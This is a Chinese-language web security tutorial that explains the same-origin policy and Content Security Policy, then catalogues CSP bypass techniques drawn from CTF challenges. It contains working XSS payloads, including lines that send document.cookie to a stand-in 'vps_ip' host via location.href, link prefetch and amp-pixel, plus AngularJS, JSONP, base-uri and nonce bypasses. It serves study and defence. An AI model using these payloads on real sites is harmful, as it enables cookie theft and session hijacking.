0x01 同源策略
定义:只有从当前页面的源获取的脚本,才能修改当前页面的元素或读取当前页面的数据。
目的:浏览器需要限制JS的能力
- 通过同源策略给JS脚本提供权限分离
- 浏览器将页面元素(布局,Cookie,事件等)和源(origin)关联在一起
同源的定义:HTML SOP中,源的定义:协议 + 域名 + 端口 (schema + domain + port)
具体体现在两个方面:
- 无法通过js获取其它非同源网站的DOM对象。
如果一个页面是由另一个页面通过JS的打开的,如window.open()。那么window.open()函数返回的对象是JS可以操作的。可见这里用google打开了baidu,虽然在google页面的中可以拿到baidu页面的对象,但是因为同源策略无法访问其document对象(DOM对象),也无法访问其中的cookie。
- 向不同源的站点发送请求时,虽然成功发包,但是无法读出数据,目的是防止泄露其HTTP响应头的信息,可能会泄露cookie。
通过JS中的XMLHttpRequest对象(AJAX),发起向不同源的站点发送请求时,虽然成功发包,但是无法读出数据,目的是防止泄露其HTTP响应头的信息,可能会泄露cookie。不过任何标签通过src均可发生跨域请求,并且成功接收,原因是JS也无法获得其内容,所以一般来说是安全的,不需要限制(CSP机制可以限制)。
0x02 内容安全策略( CSP )
CSP简介
内容安全策略 (CSP) 是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 (XSS) 和数据注入攻击等。
CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。
配置CSP的条件:
- 你需要配置你的网络服务器返回 Content-Security-Policy HTTP头部 ( 有时你会看到一些关于X-Content-Security-Policy头部的提法, 那是旧版本,你无须再如此指定它)。
- 元素也可以被用来配置该策略。
Eg.
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
可以自定义策略:
Content-Security-Policy: policy
Eg.一个网站管理者允许内容来自信任的域名及其子域名 (域名不必须与CSP设置所在的域名相同)
Content-Security-Policy: default-src 'self' *.trusted.com
关键词:
- default-src
- img-src
- script-src
- frame-src:控制内嵌框架包含的外部页面连接:iframe or a frame。
- inline script和eval类型函数(包括eval、setInterval、setTimeout和new Function())是不被执行的。另外data URIs也是默认不允许使用的,XBL,只允许通过chrome:和resource:形式uri请求的XBL,其它的比如在CSS中通过-moz-binding来指定的XBL则不允许被执行。
漏洞检测
CSP online检测工具:https://csp-evaluator.withgoogle.com/
CSP的绕过 bypass
location.href
CSP不影响location.href跳转,因为当今大部分网站的跳转功能都是由前端实现的,CSP如果限制跳转会影响很多的网站功能。所以,用跳转来绕过CSP获取数据是一个万能的办法,虽然比较容易被发现,但是在大部分情况下对于我们已经够用
当我们已经能够执行JS脚本的时候,但是由于CSP的设置,我们的cookie无法带外传输,就可以采用此方法,将cookie打到我们的vps上
location.href = "vps_ip:xxxx?"+document.cookie
有人跟我说可以跳过去再跳回来,但是这样不是会死循环一直跳来跳去吗2333333
利用条件:
- 可以执行任意JS脚本,但是由于CSP无法数据带外
link标签导致的绕过
这个方法其实比较老,去年我在我机器上试的时候还行,现在就不行了
因为这个标签当时还没有被CSP约束,当然现在浏览器大部分都约束了此标签,但是老浏览器应该还是可行的。
所以我们可以通过此标签将数据带外
<!-- firefox -->
<link rel="dns-prefetch" href="//${cookie}.vps_ip">
<!-- chrome -->
<link rel="prefetch" href="//vps_ip?${cookie}">
当然这个是我们写死的标签,如何把数据带外?
/
var link = document.createElement("link");
link.setAttribute("rel", "prefetch");
link.setAttribute("href", "//vps_ip/?" + document.cookie);
document.head.appendChild(link);
这样就可以把cookie带外了
利用条件:
- 可以执行任意JS脚本,但是由于CSP无法数据带外
Iframe 绕过
当一个同源站点,同时存在两个页面,其中一个有CSP保护的A页面,另一个没有CSP保护B页面,那么如果B页面存在XSS漏洞,我们可以直接在B页面新建iframe用javascript直接操作A页面的dom,可以说A页面的CSP防护完全失效
A页面:
<!-- A页面 -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
<h1 id="flag">flag{0xffff}</h1>
B页面:
<!-- B页面 -->
<!-- 下面模拟XSS -->
<body>
<script>
var iframe = document.createElement('iframe');
iframe.src="A页面";
document.body.appendChild(iframe);
setTimeout(()=>alert(iframe.contentWindow.document.getElementById('flag').innerHTML),1000); //setTimeout是为了等待iframe加载完成
</script>
</body>
利用条件:
- 一个同源站点内存在两个页面,一个页面存在CSP保护,另一个页面没有CSP保护且存在XSS漏洞
- 我们需要的数据在存在CSP保护的页面
用CDN来绕过
一般来说,前端会用到许多的前端框架和库,部分企业为了减轻服务器压力或者其他原因,可能会引用其他CDN上的JS框架,如果CDN上存在一些低版本的框架,就可能存在绕过CSP的风险
这里给出orange师傅绕hackmd CSP的文章Hackmd XSS
案例中hackmd中CSP引用了cloudflare.com CDN服务,于是orange师傅采用了低版本的angular js模板注入来绕过CSP,如下
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://cdnjs.cloudflare.com;">
<!-- foo="-->
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
</script>
<div ng-app>
{{constructor.constructor('alert(document.cookie)')()}}
</div>
这个是存在低版本angular js的cdn服务商列表
https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/angular.js#L26-L76
除了低版本angular js的模板注入,还有许多库可以绕过CSP
下面引用https://www.jianshu.com/p/f1de775bc43e
如果用了Jquery-mobile库,且CSP中包含”script-src ‘unsafe-eval’”或者”script-src ‘strict-dynamic’”,可以用此exp
<div data-role=popup id='<script>alert(1)</script>'></div>
还比如RCTF2018题目出现的AMP库,下面的标签可以获取名字为FLAG的cookie
<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>
blackhat2017有篇ppt总结了可以被用来绕过CSP的一些JS库
https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf
利用条件:
- CDN服务商存在某些低版本的js库
- 此CDN服务商在CSP白名单中
站点可控静态资源绕过
给一个绕过codimd的(实例)codimd xss
案例中codimd的CSP中使用了www.google-analytics.com
而www.google.analytics.com中提供了自定义javascript的功能(google会封装自定义的js,所以还需要unsafe-eval),于是可以绕过CSP
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src
'unsafe-eval' https://www.google-analytics.com">
<script src="https://www.google-analytics.com/gtm/js?id=GTM-PJF5W64"></script>
同理,若其他站点下提供了可控静态资源的功能,且CSP中允许了此站点,则可以采用此方式绕过
利用条件:
- 站点存在可控静态资源
- 站点在CSP白名单中
站点可控JSONP绕过
JSONP的详细介绍可以看看我之前的一篇文章https://xz.aliyun.com/t/4470
大部分站点的jsonp是完全可控的,只不过有些站点会让jsonp不返回html类型防止直接的反射型XSS,但是如果将url插入到script标签中,除非设置x-content-type-options头,否者尽管返回类型不一致,浏览器依旧会当成js进行解析
以ins’hack 2019/的bypasses-everywhere这道题为例,题目中的csp设置了www.google.com
Content-Security-Policy: script-src www.google.com; img-src *; default-src 'none'; style-src 'unsafe-inline'
看上去非常天衣无缝,但是google站点存在了用户可控jsonp
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src https://www.google.com">
<script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert"></script>
配合注释符,我们即可执行任意js
下面是一些存在用户可控资源或者jsonp比较常用站点的github项目
https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/jsonp.js#L32-L180
利用条件:
- 站点存在可控Jsonp
- 站点在CSP白名单中
Base-uri绕过
第一次知道base-uri绕过是RCTF 2018 rBlog的非预期解https://blog.cal1.cn/post/RCTF 2018 rBlog writeup
当服务器CSP script-src采用了nonce时,如果只设置了default-src没有额外设置base-uri,就可以使用<base>
标签使当前页面上下文为自己的vps,如果页面中的合法script标签采用了相对路径,那么最终加载的js就是针对base标签中指定url的相对路径
exp
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-test'">
<base href="//vps_ip/">
<script nonce='test' src="2.js"></script>
注意:如果页面的script-src不是采用的nonce而是self或者域名ip,则不能使用此方法,因为vps_ip不在csp白名单内
利用条件:
- script-src只使用nonce
- 没有额外设置base-uri
- 页面引用存在相对路径的
<script>
标签
不完整script标签绕过nonce
考虑下下列场景,如果存在这样场景,该怎么绕过CSP
<?php header("X-XSS-Protection:0");?>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-xxxxx'">
<?php echo $_GET['xss']?>
<script nonce='xxxxx'>
//do some thing
</script>
如果我们输入 [http://127.0.0.1/2.php?xss=<script](http://127.0.0.1/2.php?xss=%3Cscript) src=data:text/plain,alert(1)
即可xss
这是因为当浏览器碰到一个左尖括号时,会变成标签开始状态,然后会一直持续到碰到右尖括号为止,在其中的数据都会被当成标签名或者属性,所以第五行的
但是在chrome中,虽然第二个
这里可以用到标签的一个技巧,当一个标签存在两个同名属性时,第二个属性的属性名及其属性值都会被浏览器忽略
<!-- 3.php -->
<h1 a="123" b="456" a="789" a="abc">123</h1>
于是我们可以输入 [http://127.0.0.1/2.php?xss=123<script](http://127.0.0.1/2.php?xss=123%3Cscript) src="data:text/plain,alert(1)" a=123 a=
先新建一个a属性,然后再新建第二个a属性,这样我们就将第二个
- 可控点在合法script标签上方,且其中没有其他标签
- XSS页面的CSP script-src只采用了nonce方式
object-src绕过(PDFXSS)
假如只有这一个页面,我们能有办法执行JS吗
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
<?php echo $_GET['xss']?>
在CSP标准里面,有一个属性是object-src,它限制的是